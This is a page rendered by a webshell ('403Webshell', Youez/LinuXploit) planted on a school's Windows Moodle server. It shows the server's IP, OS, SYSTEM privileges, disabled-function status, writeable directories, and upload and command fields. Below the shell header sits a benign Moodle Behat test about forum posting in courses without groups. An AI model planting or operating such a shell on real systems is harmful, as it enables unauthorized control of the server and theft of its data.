403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/mod/forum/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/mod/forum/tests/behat/no_groups_in_course.feature
@mod @mod_forum
Feature: Posting to forums in a course with no groups behaves correctly

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | [email protected] |
      | student1 | Student | 1 | [email protected] |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "activities" exist:
      | activity   | name                   | intro                         | course | idnumber     | groupmode |
      | forum      | Standard forum         | Standard forum description    | C1     | nogroups     | 0         |
      | forum      | Visible forum          | Visible forum description     | C1     | visgroups    | 2         |
      | forum      | Separate forum         | Separate forum description    | C1     | sepgroups    | 1         |

  Scenario: Teachers can post in standard forum
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I follow "Standard forum"
    When I click on "Add a new discussion topic" "link"
    Then I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Teacher -> All participants |
      | Message | Teacher -> All participants |
    And I press "Post to forum"
    And I wait to be redirected
    And I should see "Teacher -> All participants"

  Scenario: Teachers can post in forum with separate groups
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I follow "Separate forum"
    When I click on "Add a new discussion topic" "link"
    Then I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Teacher -> All participants |
      | Message | Teacher -> All participants |
    And I press "Post to forum"
    And I wait to be redirected
    And I should see "Teacher -> All participants"

  Scenario: Teachers can post in forum with visible groups
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I follow "Visible forum"
    When I click on "Add a new discussion topic" "link"
    Then I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Teacher -> All participants |
      | Message | Teacher -> All participants |
    And I press "Post to forum"
    And I wait to be redirected
    And I should see "Teacher -> All participants"

  Scenario: Students can post in standard forum
    Given I log in as "student1"
    And I am on "Course 1" course homepage
    And I follow "Standard forum"
    When I click on "Add a new discussion topic" "link"
    Then I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Student -> All participants |
      | Message | Student -> All participants |
    And I press "Post to forum"
    And I wait to be redirected
    And I should see "Student -> All participants"

  Scenario: Students cannot post in forum with separate groups
    Given I log in as "student1"
    And I am on "Course 1" course homepage
    When I follow "Separate forum"
    Then I should see "You are not able to create a discussion because you are not a member of any group."
    And I should not see "Add a new discussion topic"

  Scenario: Students cannot post in forum with visible groups
    Given I log in as "student1"
    And I am on "Course 1" course homepage
    When I follow "Visible forum"
    Then I should see "You are not able to create a discussion because you are not a member of any group."
    And I should not see "Add a new discussion topic"

Youez - 2016 - github.com/yon3zu
LinuXploit